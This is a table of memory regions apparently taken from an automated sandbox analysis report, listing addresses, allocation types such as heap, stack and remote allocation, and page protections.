|
||
|
7FF5574A9000
|
unkown
|
page readonly
|
||
|
716E000
|
unkown
|
page read and write
|
||
|
D1F000
|
stack
|
page read and write
|
||
|
2DCBBFD000
|
stack
|
page read and write
|
||
|
7FF557387000
|
unkown
|
page readonly
|
||
|
A286000
|
unkown
|
page read and write
|
||
|
7FF557669000
|
unkown
|
page readonly
|
||
|
25F0000
|
direct allocation
|
page read and write
|
||
|
7FFB1E3C2000
|
unkown
|
page readonly
|
||
|
4395000
|
heap
|
page read and write
|
||
|
9F0E000
|
stack
|
page read and write
|
||
|
B31B000
|
system
|
page execute and read and write
|
||
|
6D80000
|
heap
|
page read and write
|
||
|
7FF5575BF000
|
unkown
|
page readonly
|
||
|
E290000
|
unkown
|
page read and write
|
||
|
A3B0000
|
direct allocation
|
page execute and read and write
|
||
|
543000
|
heap
|
page read and write
|
||
|
8F4D000
|
unkown
|
page read and write
|
||
|
20477029000
|
heap
|
page read and write
|
||
|
4840000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
2047717C000
|
heap
|
page read and write
|
||
|
7FF557264000
|
unkown
|
page readonly
|
||
|
8D60000
|
unkown
|
page read and write
|
||
|
20476FF3000
|
heap
|
page read and write
|
||
|
2047714A000
|
heap
|
page read and write
|
||
|
2047717C000
|
heap
|
page read and write
|
||
|
223E6000
|
heap
|
page read and write
|
||
|
717C000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
AF6E000
|
stack
|
page read and write
|
||
|
20477261000
|
heap
|
page read and write
|
||
|
7FF557429000
|
unkown
|
page readonly
|
||
|
BB3B000
|
stack
|
page read and write
|
||
|
904C000
|
unkown
|
page read and write
|
||
|
913F000
|
unkown
|
page read and write
|
||
|
5079000
|
stack
|
page read and write
|
||
|
7FFB1E3B6000
|
unkown
|
page readonly
|
||
|
2047717C000
|
heap
|
page read and write
|
||
|
B050000
|
unkown
|
page read and write
|
||
|
7FF5573D3000
|
unkown
|
page readonly
|
||
|
C626000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
20477118000
|
heap
|
page read and write
|
||
|
1A8C73EE000
|
trusted library allocation
|
page read and write
|
||
|
717C000
|
unkown
|
page read and write
|
||
|
8D86000
|
unkown
|
page read and write
|
||
|
8D7A000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
BE0000
|
direct allocation
|
page read and write
|
||
|
7FFB1E3C2000
|
unkown
|
page readonly
|
||
|
5A7713E000
|
stack
|
page read and write
|
||
|
204770C1000
|
heap
|
page read and write
|
||
|
A08D000
|
stack
|
page read and write
|
||
|
21EAD000
|
stack
|
page read and write
|
||
|
1A8C5180000
|
trusted library allocation
|
page read and write
|
||
|
3100000
|
heap
|
page read and write
|
||
|
88E4000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
F1AA000
|
heap
|
page read and write
|
||
|
A8CA000
|
unkown
|
page read and write
|
||
|
4850000
|
unkown
|
page read and write
|
||
|
C04B000
|
unkown
|
page read and write
|
||
|
7FF557571000
|
unkown
|
page readonly
|
||
|
4791000
|
trusted library allocation
|
page read and write
|
||
|
7FF55732D000
|
unkown
|
page readonly
|
||
|
A218000
|
unkown
|
page read and write
|
||
|
90CF000
|
unkown
|
page read and write
|
||
|
20477180000
|
heap
|
page read and write
|
||
|
204771A9000
|
heap
|
page read and write
|
||
|
6ECD000
|
stack
|
page read and write
|
||
|
7FF556E8D000
|
unkown
|
page readonly
|
||
|
1A8C72D5000
|
trusted library allocation
|
page read and write
|
||
|
84E0000
|
unkown
|
page readonly
|
||
|
7FF557103000
|
unkown
|
page readonly
|
||
|
20476B20000
|
remote allocation
|
page read and write
|
||
|
C586000
|
unkown
|
page read and write
|
||
|
8D70000
|
unkown
|
page read and write
|
||
|
2047772D000
|
heap
|
page read and write
|
||
|
87E000
|
heap
|
page read and write
|
||
|
435000
|
heap
|
page read and write
|
||
|
7FF546F2F000
|
unkown
|
page readonly
|
||
|
B1E000
|
stack
|
page read and write
|
||
|
2D1F000
|
stack
|
page read and write
|
||
|
1A8DDAED000
|
heap
|
page read and write
|
||
|
204771D4000
|
heap
|
page read and write
|
||
|
7FF55760F000
|
unkown
|
page readonly
|
||
|
2047731A000
|
heap
|
page read and write
|
||
|
1C56C170000
|
heap
|
page read and write
|
||
|
7FFB1E3A0000
|
unkown
|
page readonly
|
||
|
C2E4000
|
unkown
|
page read and write
|
||
|
7FF556F2A000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
10203000
|
unkown
|
page read and write
|
||
|
20475129000
|
heap
|
page read and write
|
||
|
690000
|
trusted library allocation
|
page read and write
|
||
|
2047708D000
|
heap
|
page read and write
|
||
|
840000
|
heap
|
page read and write
|
||
|
DA8000
|
heap
|
page read and write
|
||
|
8D68000
|
unkown
|
page read and write
|
||
|
AC80000
|
unkown
|
page readonly
|
||
|
C3B3000
|
unkown
|
page read and write
|
||
|
20477168000
|
heap
|
page read and write
|
||
|
4820000
|
unkown
|
page read and write
|
||
|
8EB8000
|
unkown
|
page read and write
|
||
|
7E10000
|
unkown
|
page read and write
|
||
|
2047702E000
|
heap
|
page read and write
|
||
|
D87000
|
heap
|
page read and write
|
||
|
1441000
|
unkown
|
page readonly
|
||
|
2E5F000
|
heap
|
page read and write
|
||
|
C480000
|
unkown
|
page read and write
|
||
|
97F2000
|
unkown
|
page read and write
|
||
|
7FF556FFF000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FF5575C5000
|
unkown
|
page readonly
|
||
|
7FF546F35000
|
unkown
|
page readonly
|
||
|
A129000
|
unkown
|
page read and write
|
||
|
204771A1000
|
heap
|
page read and write
|
||
|
7FF557627000
|
unkown
|
page readonly
|
||
|
D30000
|
heap
|
page read and write
|
||
|
84AF000
|
heap
|
page read and write
|
||
|
C214000
|
unkown
|
page read and write
|
||
|
8160000
|
heap
|
page read and write
|
||
|
2047773E000
|
heap
|
page read and write
|
||
|
20477229000
|
heap
|
page read and write
|
||
|
21E6F000
|
stack
|
page read and write
|
||
|
8AE6000
|
unkown
|
page read and write
|
||
|
97F2000
|
unkown
|
page read and write
|
||
|
7176000
|
unkown
|
page read and write
|
||
|
E11000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
7FF5570FE000
|
unkown
|
page readonly
|
||
|
9F0000
|
unkown
|
page readonly
|
||
|
A114000
|
unkown
|
page read and write
|
||
|
9B00000
|
system
|
page execute and read and write
|
||
|
A8BD000
|
unkown
|
page read and write
|
||
|
8670000
|
trusted library allocation
|
page read and write
|
||
|
2047700A000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7169000
|
unkown
|
page read and write
|
||
|
20477736000
|
heap
|
page read and write
|
||
|
7FF5570E7000
|
unkown
|
page readonly
|
||
|
7FF55707D000
|
unkown
|
page readonly
|
||
|
20475160000
|
heap
|
page read and write
|
||
|
11713000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
BFBE000
|
stack
|
page read and write
|
||
|
7DF468971000
|
unkown
|
page execute read
|
||
|
428F0FE000
|
unkown
|
page read and write
|
||
|
2047774A000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
C063000
|
unkown
|
page read and write
|
||
|
72FE000
|
unkown
|
page read and write
|
||
|
90F2000
|
unkown
|
page read and write
|
||
|
7FFAAB850000
|
trusted library allocation
|
page execute and read and write
|
||
|
7160000
|
unkown
|
page read and write
|
||
|
45A0000
|
trusted library allocation
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
7FF557411000
|
unkown
|
page readonly
|
||
|
7FF5573F3000
|
unkown
|
page readonly
|
||
|
913F000
|
unkown
|
page read and write
|
||
|
C10000
|
unkown
|
page read and write
|
||
|
9E0F000
|
stack
|
page read and write
|
||
|
33FC000
|
heap
|
page read and write
|
||
|
1C0ABF60000
|
heap
|
page read and write
|
||
|
7640000
|
trusted library allocation
|
page read and write
|
||
|
10A0000
|
heap
|
page read and write
|
||
|
20477037000
|
heap
|
page read and write
|
||
|
E9B0000
|
heap
|
page read and write
|
||
|
2047712D000
|
heap
|
page read and write
|
||
|
204774F3000
|
heap
|
page read and write
|
||
|
472C000
|
unkown
|
page read and write
|
||
|
DE9000
|
heap
|
page read and write
|
||
|
50B0000
|
unkown
|
page write copy
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
2A2C000
|
heap
|
page read and write
|
||
|
7FF557239000
|
unkown
|
page readonly
|
||
|
7FFB1E3A1000
|
unkown
|
page execute read
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
51F9000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
7D8E000
|
stack
|
page read and write
|
||
|
7FFAAB663000
|
trusted library allocation
|
page execute and read and write
|
||
|
A886000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
A3045FE000
|
stack
|
page read and write
|
||
|
1A8C56F7000
|
trusted library allocation
|
page read and write
|
||
|
77B0000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
EAC0000
|
unkown
|
page read and write
|
||
|
7FF556F31000
|
unkown
|
page readonly
|
||
|
2C8E000
|
unkown
|
page read and write
|
||
|
7FF556E8D000
|
unkown
|
page readonly
|
||
|
45B0000
|
trusted library allocation
|
page read and write
|
||
|
7FF5571AC000
|
unkown
|
page readonly
|
||
|
7FF557285000
|
unkown
|
page readonly
|
||
|
543000
|
heap
|
page read and write
|
||
|
A0BD000
|
unkown
|
page read and write
|
||
|
DA6000
|
heap
|
page read and write
|
||
|
7FF55751D000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
20477243000
|
heap
|
page read and write
|
||
|
4766000
|
unclassified section
|
page read and write
|
||
|
1C0AC300000
|
heap
|
page read and write
|
||
|
7FF557463000
|
unkown
|
page readonly
|
||
|
7FFAAB930000
|
trusted library allocation
|
page read and write
|
||
|
4740000
|
trusted library allocation
|
page execute and read and write
|
||
|
7FF557235000
|
unkown
|
page readonly
|
||
|
B82A000
|
stack
|
page read and write
|
||
|
97EC000
|
unkown
|
page read and write
|
||
|
499E000
|
stack
|
page read and write
|
||
|
C595000
|
unkown
|
page read and write
|
||
|
2F90000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
2258E000
|
direct allocation
|
page execute and read and write
|
||
|
3250000
|
heap
|
page read and write
|
||
|
7FF557554000
|
unkown
|
page readonly
|
||
|
3350000
|
unkown
|
page readonly
|
||
|
A8DC000
|
unkown
|
page read and write
|
||
|
F30000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
C3F7000
|
unkown
|
page read and write
|
||
|
C0FB000
|
unkown
|
page read and write
|
||
|
47C0000
|
unkown
|
page read and write
|
||
|
2DE7000
|
heap
|
page read and write
|
||
|
69F000
|
stack
|
page read and write
|
||
|
C10B000
|
unkown
|
page read and write
|
||
|
27CC000
|
stack
|
page read and write
|
||
|
486A000
|
unkown
|
page read and write
|
||
|
7FF557065000
|
unkown
|
page readonly
|
||
|
E6D000
|
stack
|
page read and write
|
There are 2503 hidden memdumps, click here to show them.